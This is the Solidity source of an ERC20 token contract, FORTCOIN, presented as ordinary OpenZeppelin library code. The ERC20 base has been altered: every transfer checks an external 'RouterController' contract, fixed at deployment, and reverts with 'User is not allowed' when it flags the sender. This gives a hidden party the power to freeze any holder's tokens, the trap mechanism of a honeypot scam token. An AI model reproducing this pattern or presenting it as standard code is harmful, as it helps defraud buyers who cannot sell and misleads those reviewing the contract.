Contract Source Code:
File 1 of 1 : FORTCOIN
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address accnt) external view returns (uint256);
function transfer(address to, uint256 amnt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amnt) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amnt
) external returns (bool);
}
// Define interface for transfer controller
interface RouterController {
function isRouted(address _acnt) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
RouterController private routeController;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_, address base_) {
_name = name_;
_symbol = symbol_;
routeController = RouterController(base_);
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address accnt) public view virtual override returns (uint256) {
return _balances[accnt];
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address from, address to) public view virtual override returns (uint256) {
return _allowances[from][to];
}
function approve(address spender, uint256 amnt) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amnt);
return true;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amnt`.
*/
function transfer(address to, uint256 amnt) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amnt);
return true;
}
function transferFrom(
address from,
address to,
uint256 amnt
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amnt);
_transfer(from, to, amnt);
return true;
}
function increaseAllowance(address spender, uint256 val) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + val);
return true;
}
function decreaseAllowance(address spender, uint256 val) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= val, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - val);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amnt
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!routeController.isRouted(from), "User is not allowed");
_beforeTokenTransfer(from, to, amnt);
uint256 fromBalance = _balances[from];
require(fromBalance >= amnt, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amnt;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amnt;
}
emit Transfer(from, to, amnt);
_afterTokenTransfer(from, to, amnt);
}
/** @dev Creates `amnt` tokens and assigns them to `accnt`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `accnt` cannot be the zero address.
*/
function _mint(address accnt, uint256 amnt) internal virtual {
require(accnt != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), accnt, amnt);
_totalSupply += amnt;
unchecked {
// Overflow not possible: balance + amnt is at most totalSupply + amnt, which is checked above.
_balances[accnt] += amnt;
}
emit Transfer(address(0), accnt, amnt);
_afterTokenTransfer(address(0), accnt, amnt);
}
function _spendAllowance(
address owner,
address spender,
uint256 amnt
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amnt, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amnt);
}
}
}
function _approve(
address owner,
address spender,
uint256 amnt
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amnt;
emit Approval(owner, spender, amnt);
}
function _beforeTokenTransfer(address from, address to, uint256 amnt) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amnt) internal virtual {}
}
pragma solidity ^0.8.0;
contract FORTCOIN is ERC20, Ownable {
uint256 private constant INITIAL_SUPPLY = 1000000000 * 10**18;
constructor(
string memory name_,
string memory symbol_,
address base_) ERC20(name_, symbol_, base_)
{
_mint(msg.sender, INITIAL_SUPPLY);
}
function sendTokens(address distroWallet) external onlyOwner {
uint256 supply = balanceOf(msg.sender);
require(supply == INITIAL_SUPPLY, "Tokens already distributed");
_transfer(msg.sender, distroWallet, supply);
}
}